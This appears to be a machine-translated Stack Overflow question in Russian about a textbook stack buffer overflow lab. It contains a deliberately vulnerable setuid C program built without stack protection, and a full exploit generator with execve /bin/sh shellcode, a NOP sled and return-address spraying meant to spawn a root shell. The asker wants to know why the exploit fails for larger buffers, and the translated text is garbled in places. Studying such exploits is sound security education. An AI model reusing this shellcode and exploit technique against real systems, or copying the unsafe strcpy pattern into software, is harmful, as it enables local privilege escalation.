Эта проблема была рассмотрена несколько раз здесь, в stackoverflow, но я не могу найти какое-либо предыдущее сообщение, которое касается некоторых вопросов, которые у меня есть. Хотелось бы отметить, что я прочитал «Alef One» «Разрушение стека для удовольствия и прибыли», но в моем понимании все еще есть пробелы.C - Детали переполнения буфера
Мой вопрос: Это работает (нерестится корневой оболочки) для различных буферных размеров stack.c в кислородном конвертере() от buffer[12]
к buffer[24]
. Почему это не работает (ошибка seg) для buffer[48]
(что приводит к ошибке seg), например (или, как программа должна быть изменена, чтобы заставить ее работать для таких буферов)?
Пожалуйста, обратите внимание, что используются следующие команды при компиляции stack.c
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
И ASLR выключен.
Во-первых, давайте посмотрим на уязвимой программы: stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
И программы, чтобы использовать это: test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// code to spawn a shell
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE *badfile;
char *ptr;
long *a_ptr;
long *ret;
int offset = 450;
int bsize = 517;
char buffer[bsize];
// a_ptr will store the return address
ptr = buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, bsize);
/* Fill buffer with appropriate contents */
printf("Stack Pointer (ESP): 0x%x\n", get_sp());
ret = get_sp() + offset;
printf("Address: 0x%x\n", ret);
int i;
for (i = 0; i < 350; i += 4)
*(a_ptr++) = ret;
for (i = 450; i < sizeof(shellcode) + 450; i++)
buffer[i] = shellcode[i-450];
buffer[bsize - 1] = '\0';
/*Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Ниже я попытаюсь объясните, что я думаю, и напишите заметки о том, где я считаю, что пробелы в моих знаниях. Если у кого есть время, чтобы пройти это, а также ответить на вопрос, как было сказано ранее, то спасибо.
Очевидно, что buffer[12]
в stack.c собирается быть переполнен, когда зЬгсру() вызывается, так как строка размером 517 копируется в буфер размером 12.
В тесте. c, я понимаю, что мы создаем вредоносный буфер, который должен быть прочитан stack.c. Этот буфер инициализируется связкой NO-OP (0x90). Помимо этого, я немного смущен.
1) Какая точка смещения добавляется к ret в ret = get_sp() + offset;
? Кроме того, почему offset = 450
? Я пробовал другие значения для смещения, и эта программа все еще работает (например, 460). 450 похоже на предположение, что это происходит.
2) В for (i = 0; i < 350; i += 4)
, почему используется 350? Я не понимаю смысла этой ценности. Я считаю, что этот цикл заполняет первые 350 байтов буфера обратным адресом ret
, но я не понимаю, почему это 350 байтов. Я считаю, что мы увеличиваем i на 4 каждый раз, потому что (long *) составляет 4 байта. Если это так, не должно ли это 350 также быть кратным 4?
3) Опять же, в for (i = 450; i < sizeof(shellcode) + 450; i++)
(sizeof (shellcode) is 25), почему мы начинаем с 450 в буфере? Это говорит о том, что мы заполняем буфер [450] в буфер [475] кодом оболочки. В настоящее время все после этого должно быть инициализировано NO-OP. И что? Почему 450 - 475?
Несколько вопросов в одном, неясном, слишком широком и потенциальном вредоносном ПО. Это простое или простое голосование. –
Потенциальное вредоносное ПО? Во всяком случае, я редактировал сообщение @MartinJames. Пожалуйста, помогите мне улучшить пост дальше, если это понадобится. – binker